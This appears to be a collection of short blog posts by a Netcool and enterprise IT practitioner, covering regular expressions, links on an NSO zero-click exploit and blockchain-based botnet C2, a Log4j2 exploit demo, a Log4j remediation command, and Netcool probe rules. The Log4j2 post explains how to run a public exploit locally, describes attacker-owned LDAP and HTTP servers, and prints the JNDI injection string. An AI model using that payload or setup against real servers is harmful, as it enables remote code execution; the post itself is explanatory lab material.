The best video I've ever seen for learning Regular Expressions

I've worked with regular expressions for a long time now, and I'm always working on getting better at them. I ran across this 20-minute YouTube video and was really blown away by how quickly it explains everything you need to know about regular expressions. I highly recommend it.

Many of his other videos are also worth your time.

One huge caveat aimed at those in the world of Enterprise Software:

Not all products support all features of the regular expressions described in the video, and there are often nuances to the exact functions that are supported. For example, the following features described in the video aren't supported by various versions of *some* components of Netcool and ServiceNow, depending on which regex engine they use:

- look-ahead and look-behind operations
- named groups

Because of cases like this, I always recommend that you try to accomplish your goal using the simplest regular expression features as possible, and always test your regular expressions. Regexr.com is the site used in the video, and it is very powerful, but it appears to support the latest and greatest JavaScript regular expressions, with no way to change that. Regex101.com is the site I normally use, and it allows you to select one of several "flavors" of regular expressions.

The Zero-click exploit that Google researchers say is 'the most technically sophisticated exploit ever seen'

 In contrast to the trivially-exploitable Log4j2 exploit, here's a zero-click exploit from NSO group. Here's an article describing it in understandable terms first:

https://www.engadget.com/google-researchers-nso-zero-click-iphone-imessage-exploit-143213776.html

And here are the technical details:

https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html

Interesting article on the new frontier of botnets identifying C2 servers using "memo" data in blockchain transactions between known wallets

 The title tells you the gist of the story, but here's the full article:

https://gizmodo.com/how-cybercriminals-are-using-bitcoins-blockchain-to-mak-1848189767

Basically, the botnet code is written such that if its current C2 (Command and Control) server is down, it will search the public blockchain for transactions between known wallets. Every transaction can have an optional "memo" field, which is where the botnet controllers put the address of other C2 servers.

Example and video of log4j2 exploit

 This is a great example of the exploit in action:

https://github.com/ilsubyeega/log4j2-exploits

Here's the video showing it in action:

https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4

You can run it yourself. On Linux, you'll first have to install the following prereqs:

node
npm
gradle
default-jdk

And you'll also need to modify Main.java before compiling to change the line:

Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");

to

Runtime.getRuntime().exec("gnome-terminal");

The pieces that are provided for the exploit are:

- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat

Once you feed the JVM the userr-controlled string "${jndi:ldap://127.0.0.1:3001/}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM. 

Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.

Quickest log4j2 vulnerability remediation I've found on Linux

 Quickest Linux fix I've found for the #log4j2 vulnerability:

find / -name "log4j-core-*.jar" -exec zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;
reboot

The above command will find all files named "log4j-core-*.jar" on the system and will remove the "JndiLookup.class" file from them. The 'reboot' is a fairly large hammer, but it will restart all processes on the box. Alternatively, you can stop and restart all java processes running on the server.

Converting timestamp in milliseconds to seconds in Netcool probe rules

 Background

The Netcool OMNIbus ObjectServer expects timestamp values to be the number of seconds since epoch (00:00:00 UTC on 1 January 1970). This is a 10-digit number. However, some systems generate a timestamp that is the number of milliseconds since epoch (a 13-digit number). This causes the timestamp to be interpreted wildly incorrectly in the ObjectServer. One such event source is Nokia NSP, which integrates with Netcool via the Probe for Message Bus.

Conversion Process

My process of converting the 13-digit timestamp to the correct 10-digit one is straightforward:

# convert timestamp to string by concatenating it with a string

$millString = $timestampInMilliseconds + ""

# take the first 10 characters

$secondsString = substr($millString,1,10)

# convert back to an integer

$validTimestamp = int($secondsString)

# store in FirstOccurrence of Event

@FirstOccurrence = $validTimestamp

That's it.

Using VSCode to write Netcool Probe Rules and Impact Policies

 VSCode is Microsoft's free, cross-platform IDE for software development. It is booming in popularity recently because it is an amazing tool with lots of plugins. These plugins provide all kinds of different functionality. The ones I want to introduce to you today are syntax highligting plugins that provide syntax highlighting and syntax validation for Impact Policy Language (IPL) and Netcool Probe Rules Language. 

Here's an example from the Probe Rules extension:

Compared to the vi editor or Notepad++, this is a HUGE improvement.